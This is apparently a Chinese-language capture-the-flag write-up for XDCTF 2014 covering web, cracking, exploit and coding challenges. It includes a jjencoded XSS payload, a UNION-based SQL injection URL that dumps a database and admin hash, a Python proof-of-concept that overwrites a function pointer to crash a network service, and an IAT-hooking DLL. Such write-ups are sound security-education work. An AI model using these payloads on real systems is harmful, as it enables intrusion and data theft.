Web
Web20
主要考的是PHP彩蛋,在URL后添加如下参数:
1 2 3 4
| ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
|
使用最后一个得到:flag-WhatisPhp-mtzeXAtcKA53
Web50
给了一个Chrome
插件安装包,解压后,我在文件里搜了一通,未果。后来Sasiki
告诉在fuck.jpg
的备注属性找到如下:
1
| 107 101 121 32 105 115 58 88 68 83 101 99 64 50 79 49 52
|
转换一下:XDSec@2O14
Web70
题目:
这是一道纯XSS
题,只需要弹窗即可。经测试,输入不能包含数字,字母,OMG!
但可以包含诸如${}=
等字符,可以利用jjencode
绕过
1 2
| $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.$$_+$.$$$+$.$_$_+$.__+$.$$__+"\\"+$.__$+$.$_$+$.___+$.___+$._+$.__+"_\\"+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+$.$$$+$.___+"_\\"+$.__$+$.$$$+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$$+"\\\"\\"+$.$__+$.___+")"+"\"")())(); http://utf-8.jp/public/jjencode.html
|
Web100
查看源码,提供一张图片地址,转到后是一张二维码图片:
扫了一下,得到:
1 2 3
| http://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=200689499&idx=2&sn=76a5cb177facf0ca76dfcc2db7e135cf#rd RGB
|
去URL对应文章看了一下,讲的是将信息隐藏到图片里,把题目的图片下载下来:
然后提示是RGB
,我一开始提取的RGB
的最低位信息,出来的不对。后来,又回来尝试,只提取R通道的,得到:Xd$eC@2o14
Web200
打开URL,提示需要帮助信息,在URL加help,查看源码,有个read?file=readme,后来刷新下,发现内容变了,貌似是随机显示的,多刷新几次,提示有newapp.py文件。直接去读newapp.py文件内容,经过多次刷新,恢复内容大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| __author__ = 'le4f.net' import web import random urls = ( '/getflag', 'xdctf', '/read', 'read', '.*','ctf' ) class help: def GET(self): try: return '<html>welcome to my first web.py project.<a href = \'./read?file=readme\'></a></html>' except: pass class read: def GET(self): data = web.input(file = 'readme') if data['file'].count('.') > 1: f = 'readme' else: f = data['file'] cont = open("./"+f,"r").readlines() rand = random.randint(0,len(cont)-2) return cont[rand]+'\n'+cont[rand+1] class xdctf: def func(a): if a == 'le4f.net': flag = open("flagishere","r").readlines()[0].strip() web.header('flag', flag) def GET(self): try: web.input(_unicode=func(web.input(unabletoread = 'show me flag!!!!').get('unabletoread'))) return 'flag is here?!!show me flag!!!!' except: pass class ctf: def GET(self): try: return "u may need help information." except: pass if __name__ == "__main__": app = web.application(urls, globals()) app.run()
|
根据代码,构造url:getflag?unabletoread=le4f.net
,提交后,在response
的header
里有:XDCTF{X1di4nUn1Vers1tySecT3AM}
。
Web270
首先,找到注入点:
1
| http://hlecgsp1.xdctf.com:8082/api.php?c=api&f=phpok&id=_project¶m[pid]=1%20union%20select%201,concat(version(),0x7e,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33
|
把整个数据库down下来后,在里面搜索flag,得到第一个flag:flag-letmeshowyoushell
。
后来找到admin的密码:d123789fd311dddeb7ce41f06a6d71fd:a5
,前面的MD5
对应的是198712a5
,后来去后台登录,发现admin的密码为198712
。
Crack
Crack100
发现是C#写的,直接拿.NET Reflector
反编译发,发现好多乱码,看来用工具混淆了,网上搜了个C#的反混淆工具de4dot
处理了下,恢复的代码大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206
| using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.Security.Cryptography; namespace ReverseMe { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { decrypt(); } private static void encrypt() { string str2 = read_from_flag(); string str13 = str2.Substring(0, 0x20); string str14 = str2.Substring(0x20); string str16 = hex_to_string(smethod_5(str13)); string str20 = hex_to_string(smethod_5(base64_encode(smethod_0(str14)))); if (!write_to_encrypt(str16 + str20)) { Environment.Exit(0); } } private static string smethod_0(string string_0) { int[] numArray = new int[] { 0x6a, 120, 0x66, 0x65, 0x62, 0x67, 0x2e, 0x1c, 0x3e, 0x20, 0x3d, 13 }; char[] chArray = string_0.ToCharArray(); string str = string.Empty; int index = 0; for (int i = 0; index < string_0.Length; i++) { if (i > 11) { i = 0; } str = str + ((Convert.ToInt32(chArray[index]) ^ Convert.ToInt32(numArray[i]))).ToString("X"); index++; } return hex_to_string(str); } private static string base64_encode(string string_0) { try { return Encoding.ASCII.GetString(Convert.FromBase64String(string_0)); } catch (Exception) { return string.Empty; } } private static string smethod_2(string string_0) { try { return Convert.ToBase64String(Encoding.ASCII.GetBytes(string_0)); } catch (Exception) { return string.Empty; } } private static string hex_to_string(string string_0) { string str2 = ""; byte[] bytes = new byte[string_0.Length / 2]; for (int i = 0; i < (string_0.Length / 2); i++) { str2 = string_0.Substring(i * 2, 2); bytes[i] = Convert.ToByte(str2, 0x10); } return Encoding.Default.GetString(bytes); } private static string string_to_hex(string string_0) { string str = ""; if (string_0 == "") { return ""; } byte[] bytes = Encoding.ASCII.GetBytes(string_0); for (int i = 0; i < bytes.Length; i++) { str = str + bytes[i].ToString("X"); } return str; } private static string smethod_5(string string_0) { string str = string.Empty; byte[] buffer = new byte[0x59]; byte[] buffer2 = new byte[0x59]; byte[] buffer3 = new byte[0xb1]; string str2 = string_to_hex(string_0); for (int i = 0; i < string_0.Length; i++) { string str3 = str2.Substring(i * 2, 2); buffer3[i] = Convert.ToByte(str3, 0x10); buffer[i + 1] = (byte)((buffer3[i] & 15) + 0xa1); buffer2[i] = (byte)((0x9f + (buffer3[i] >> 4)) - (buffer3[i] & 15)); str = str + buffer2[i].ToString("X") + buffer[i + 1].ToString("X"); } return str; } private static bool write_to_encrypt(string string_0) { bool flag; using (FileStream stream = new FileStream("Encrypt.rs", FileMode.Create, FileAccess.ReadWrite)) { using (StreamWriter writer = new StreamWriter(stream)) { writer.WriteLine(string_0); writer.Close(); stream.Close(); flag = true; } } return flag; } private static string read_from_file(string filename) { string str = string.Empty; FileStream file = new FileStream(filename, FileMode.Open); byte[] bytes = new byte[1024]; int length = 0; do { length = file.Read(bytes, 0, bytes.Length); str += Encoding.ASCII.GetString(bytes, 0, length); } while (length > 0); file.Close(); return str; } private static bool write_to_file(string file, string content) { bool flag = false; using (FileStream stream = new FileStream(file, FileMode.Create, FileAccess.ReadWrite)) { using (StreamWriter writer = new StreamWriter(stream)) { writer.WriteLine(content); writer.Close(); stream.Close(); flag = true; } } return flag; } private static string read_from_flag() { string str = string.Empty; if (File.Exists("Flag.rs")) { str = File.ReadAllText("Flag.rs", Encoding.ASCII); if (str.Length != 0) { return str; } using (FileStream stream = new FileStream("Encrypt.rs", FileMode.Create, FileAccess.ReadWrite)) { using (StreamWriter writer = new StreamWriter(stream)) { writer.Close(); stream.Close(); } return str; } } using (FileStream stream2 = new FileStream("Encrypt.rs", FileMode.Create, FileAccess.ReadWrite)) { using (StreamWriter writer2 = new StreamWriter(stream2)) { writer2.Close(); stream2.Close(); } } return str; } } }
|
对C#
不是很熟,开始打算用Python
写个解密函数,后来发现C#
往文件里写内容经过编码,只能用C#
来写了,写半天才写出来,太蛋疼了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| private static void decrypt() { string filename = "Encrypt.rs"; string data = string.Empty; FileStream file = new FileStream(filename, FileMode.Open); StreamReader reader = new StreamReader(file); data = reader.ReadLine(); reader.Close(); file.Close(); byte[] bytes = Encoding.Default.GetBytes(data); byte[] flag_bytes = new byte[41]; for (int i = 0; i < bytes.Length; i += 2) { byte byte1 = bytes[i]; byte byte2 = bytes[i + 1]; byte behind = (byte)(byte2 - 0xa1); byte front = (byte)(byte1 + behind - 0x9f); flag_bytes[i / 2] = (byte)(front * 16 + behind); } string prex = Encoding.ASCII.GetString(flag_bytes, 0, 32); string suffix = smethod_0_1(base64_decode(Encoding.ASCII.GetString(flag_bytes, 32, 9))); write_to_file("Flag.rs", prex + suffix); } private static string smethod_0_1(string string_0) { int[] numArray = new int[] { 0x6a, 120, 0x66, 0x65, 0x62, 0x67, 0x2e, 0x1c, 0x3e, 0x20, 0x3d, 13 }; string hex = string_to_hex(string_0); byte[] bytes = new byte[hex.Length / 2]; for (int i = 0; i < hex.Length; i += 2) { int value = Convert.ToInt32(hex.Substring(i, 2), 0x10); bytes[i / 2] = (byte)(value ^ numArray[i / 2]); } return Encoding.ASCII.GetString(bytes); }
|
最后,得到:cplg1r7f3~xq-%!>+@sb19)<0^&key#o==4102cesdx=
Crack120
给了两个文件,有一个是Python编译后的文件,GreatYYX网上找了反编译工具,得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| # Embedded file name: unknownScript.py import sys class Encode(object): def __init__(self, ori_data): self.datastream = ori_data self.streamlen = len(ori_data) * 8 self.index = 0 self.disdata = '' def getbit(self, check_type = None): index_bytes = self.index / 8 index_bits = self.index % 8 if not check_type: self.index += 1 if ord(self.datastream[index_bytes]) & 1 << index_bits: return 1 else: return 0 def encode(self): """ x xxxxxxx """ _index = 0 bit_count = 0 char_temp = 0 bit_type = self.getbit(check_type=True) for _index in range(self.streamlen): bit = self.getbit() bit_count += 1 if bit_type != bit: char_temp |= bit_type << 7 char_temp |= bit_count - 1 self.disdata += chr(char_temp) char_temp = 0 bit_count = 1 bit_type = bit continue elif bit_count >= 127: char_temp |= bit_type << 7 char_temp |= bit_count self.disdata += chr(char_temp) char_temp = 0 bit_count = 0 bit_type = self.getbit(check_type=True) else: continue if bit_count: char_temp |= bit_type << 7 char_temp |= bit_count self.disdata += chr(char_temp) return self.disdata def main(): if len(sys.argv) != 3: print 'Usage: * SOURCE DEST' return with open(sys.argv[1], 'rb') as _sf: data = _sf.read() encode = Encode(data) with open(sys.argv[2], 'wb') as _df: _df.write(encode.encode()) if __name__ == '__main__': main()
|
又得自己写解码函数,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| class Decode(object): def __init__(self, data): self.encode_data = data self.encode_len = len(data) self.decode_data = '' def decode(self): if self.encode_len == 0: return '' data_stream = [] for index in xrange(self.encode_len): value = ord(self.encode_data[index]) if value >= 128: current_bit = 1 delta = value - 128 else: current_bit = 0 delta = value for i in xrange(delta): data_stream.append(current_bit) data_stream_len = len(data_stream) char = 0 for i in xrange(1, data_stream_len + 1): if i % 8 == 0: char += data_stream[i - 1] << 7 self.decode_data += chr(char) char = 0 else: char += (data_stream[i - 1] << (i % 8 - 1)) return self.decode_data
|
一开始,以为解码后的是字符串,直接打印出来,发现不对,是一张jpg图片:
得到:key: xidianZ0L4 weLc0me y0u
Crack150
这道是apk
文件,直接用apktool
反编译,把代码看了个遍,没发现什么,后来看到assert
目录下有张图片,用十六进制编辑器打开,找到key和md5字样,但是他们前后都是乱码,把那段内容拷贝出来,尝试各种编码,后来发现是一段中文,我无力吐槽了:
1 2
| e2 80 9c 6b 65 79 e2 80 9d e7 9a 84 e5 b0 8f e5 86 99 31 36 e4 bd 8d 6d 64 35 e5 8a a0 e5 af 86 “key”的小写16位md5加密
|
然后提交:9c15224a8228b9a9
Exploit
Exploit600
password生成
把exploitMe.exe拖进IDA,直接F5,找登录验证部分,其验证逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| char __usercall login<al>(int a1<eax>, int a2<ecx>, signed int a3, signed int a4) { signed int v4; // edi@5 int v5; // ecx@6 int v6; // esi@6 unsigned __int8 v7; // al@8 char v8; // cl@13 char result; // al@21 int v10; // [sp+0h] [bp-4h]@6 if ( a2 && a1 && a3 >= 4 && a4 > 0 ) { v4 = 0; if ( a3 > 0 ) { v5 = a2 - a1; v6 = a1; v10 = v5; while ( v4 < a4 ) { v7 = *(_BYTE *)(v5 + v6); if ( ((char)v7 < 65 || (char)v7 > 90) && ((char)v7 < 97 || (char)v7 > 122) && (unsigned __int8)(v7 - 48) > 9u || ((v8 = *(_BYTE *)v6, *(_BYTE *)v6 < 65) || v8 > 90) && (v8 < 97 || v8 > 122) && (unsigned __int8)(v8 - 48) > 9u || v8 != aAbcdefghijklmn[(v7 + ((unsigned int)v7 >> 2)) % 0x3F] ) return 0; ++v4; ++v6; if ( v4 >= a3 ) break; v5 = v10; } } result = 1; } else { result = 0; } return result; }
|
大体意思是:取用户名的单个字符,将ASCII值v7加上v7 / 4,然后模0x3F的值作为索引,去aAbcdefghijklmn里找对应值即为密码的对应字符。我用Python实现了下:
1 2 3 4 5 6 7 8 9 10
| chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' def generator_password(username): password = '' for c in username: value = ord(c) index = (value + value / 4) % 0x3f password += chars[index] return password
|
崩溃bug
在登录成功后,会将sub_401050
函数地址存放在dword_40DA40 + 66
处,如下:
1 2 3
| dword_40DA40 = malloc(0x10Cu); memset(dword_40DA40, 0, 0x10Cu); *((_DWORD *)dword_40DA40 + 66) = sub_401050;
|
在sub_401050
函数中,switch
的0x31
分支调用,如下:
1 2 3 4
| case 0x31: (*((void (__stdcall **)(_DWORD, _DWORD))dword_40DA40 + 66))(v4 + 8, v3 - 8); result = 1; break;
|
但是,在switch
的0x20
分支,会将接收的数据复制到dword_40DA40
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| case 0x20: v6 = *(_DWORD *)(v4 + 4); if ( (v6 & 0x80000000u) != 0 || v3 < v6 + 8 || v6 > 0x10C ) { result = -2147418114; } else { v7 = *(_DWORD *)(v4 + 4); v8 = dword_40DA40; *((_DWORD *)dword_40DA40 + 65) = v6; memcpy(v8, (const void *)(v4 + 8), v7); result = 1; } break;
|
所以,这里先去0x20
分支,将dword_40DA40
存放的sub_401050
地址覆盖,然后去0x31
分支,调用,从而导致程序访问无法访问的地址,致使其崩溃,效果如下:
附上POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| def main(): if len(sys.argv) != 4: print 'Usage: exploitme host port username' return try: host = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] username_len = len(username) if username_len < 4: print 'The least length of username is 4!' return st = socket.socket(socket.AF_INET, socket.SOCK_STREAM) st.connect((host, port)) # Send name's length and password's length packet = '\x10\x00\x00\x00' packet += (struct.pack('@h', username_len) + '\x00\x00') * 2 st.send(packet) password = generator_password(username) # Send name and password st.send('\x11\x00\x00\x00' + username + ':' + password) r = st.recv(1024) print r # Send bug packet packet = '\x20\x00\x00\x00\x0c\x01\x00\x00' + 'A' * 0x10c st.sendall(packet) packet = '\x31\x00\x00\x00' + 'A' * 12 st.sendall(packet) st.close() except TypeError: print 'Invalid port!' except IOError: pass
|
Coding
Coding120
这个没什么好说的,直接看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| #include<windows.h> PROC PrcMessage=(PROC)MessageBoxA; BOOL SetApiAddr(HMODULE hMod, PROC OrgAddr, DWORD *NewAddr, char *DllName); typedef int (WINAPI *pFMessageBox)(HWND, LPCSTR lpText, LPCSTR lpCaption, UINT uType); int WINAPI MyMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { return ((pFMessageBox)PrcMessage)(hWnd, lpText, lpCaption, uType); } BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if(ul_reason_for_call==DLL_PROCESS_ATTACH) { SetApiAddr(::GetModuleHandle(NULL), PrcMessage, (DWORD *)MyMessageBox, "user32.dll"); } return TRUE; } //替换IAT表API地址函数 BOOL SetApiAddr(HMODULE hMod, PROC OrgAddr, DWORD *NewAddr, char *DllName) { IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hMod; IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)((BYTE*)hMod + pDosHeader->e_lfanew + 24); IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*) ((BYTE*)hMod + pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); // 在导入表中查找user32.dll模块。因为MessageBoxA函数从user32.dll模块导出 while(pImportDesc->FirstThunk) { char* pszDllName = (char*)((BYTE*)hMod + pImportDesc->Name); if(lstrcmpiA(pszDllName, DllName) == 0) { break; } pImportDesc++; } if(pImportDesc->FirstThunk) { // 一个IMAGE_THUNK_DATA结构就是一个双字,它指定了一个导入函数 // 调入地址表其实是IMAGE_THUNK_DATA结构的数组,也就是DWORD数组 IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*) ((BYTE*)hMod + pImportDesc->FirstThunk); while(pThunk->u1.Function) { // lpAddr指向的内存保存了函数的地址 DWORD* lpAddr = (DWORD*)&(pThunk->u1.Function); if(*lpAddr == (DWORD)OrgAddr) { DWORD dwOldProtect; MEMORY_BASIC_INFORMATION mbi; VirtualQuery(lpAddr, &mbi, sizeof(mbi)); VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE , &dwOldProtect); //修改IAT表项,使其指向我们自定义的函数, ::WriteProcessMemory(GetCurrentProcess(), lpAddr, &NewAddr, sizeof(DWORD),NULL); VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, 0); return TRUE; } pThunk++; } } return FALSE; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MyMessageBox(NULL, "Hello World!", "MessageBox", MB_OK); return 0; }
|